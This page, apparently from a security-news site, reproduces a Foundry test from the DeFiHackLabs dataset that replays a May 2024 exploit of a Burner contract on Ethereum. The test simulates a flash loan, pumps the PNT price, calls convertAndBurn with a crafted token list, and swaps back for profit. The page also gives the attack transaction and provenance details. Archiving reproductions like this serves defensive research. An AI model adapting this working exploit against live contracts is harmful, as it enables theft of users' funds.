Skip to content
THREATWIRE

Public reproduction file

src/test/2024-05/Burner_exp.sol

Public reproduction file for dataset entry Burner.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/Burner_exp.sol62 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6// @KeyInfo - Total Lost : 1.7eth
7// Attack Tx : https://etherscan.io/tx/0x3bba4fb6de00dd38df3ad68e51c19fe575a95a296e0632028f101c5199b6f714
8
9// @Info
12interface IBurner is IERC20 {
13 function convertAndBurn(
14 address[] calldata tokens
15 ) external;
18contract ContractTest is Test {
19 IBurner burner_ = IBurner(0x4d4d05e1205e3A412ae1469C99e0d954113aa76F);
20 IERC20 usdt_ = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
21 IERC20 wbtc_ = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
22 IERC20 pnt_ = IERC20(0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD);
23 IWETH weth_ = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));
25 IUniswapV2Router router_ = IUniswapV2Router(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));
27 function setUp() public {
28 vm.createSelectFork("mainnet", 19_917_290);
29 vm.deal(address(this), 0);
30 }
32 function testExploit() public {
33 vm.deal(address(this), 70 ether); //simulation flashloan
34 weth_.deposit{value: 70 ether}();
35 weth_.approve(address(router_), type(uint256).max);
36 pnt_.approve(address(router_), type(uint256).max);
38 address[] memory path = new address[](2);
39 path[0] = address(weth_);
40 path[1] = address(pnt_);
41 router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
42 weth_.balanceOf(address(this)), 0, path, address(this), block.timestamp
43 );
45 console.log("=== ACK START ===");
46 address[] memory tokens = new address[](3);
47 tokens[0] = address(0x0);
48 tokens[1] = address(wbtc_);
49 tokens[2] = address(usdt_);
50 burner_.convertAndBurn(tokens);
51 console.log("=== ACK END ===");
53 path[0] = address(pnt_);
54 path[1] = address(weth_);
55 router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
56 pnt_.balanceOf(address(this)), 0, path, address(this), block.timestamp
57 );
59 weth_.transfer(address(0x01), 70 ether); // simulation repay flashloan
60 emit log_named_decimal_uint("profit weth = ", weth_.balanceOf(address(this)), 18);
61 }

Analysis

Dataset entry

Public Foundry test for “Burner” (2024-05-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

19 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attack Tx

    0x3bba4fb6de00dd38df3ad68e51c19fe575a95a296e0632028f101c5199b6f714

File record

Name
Burner
Path
src/test/2024-05/Burner_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
91c3f3555457a4bf70baeafdf2355a25548e3ed1
Language
Solidity
Size
63 lines
Date
2024-05-22
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-05/Burner_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 91c3f3555457a4bf70baeafdf2355a25548e3ed1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.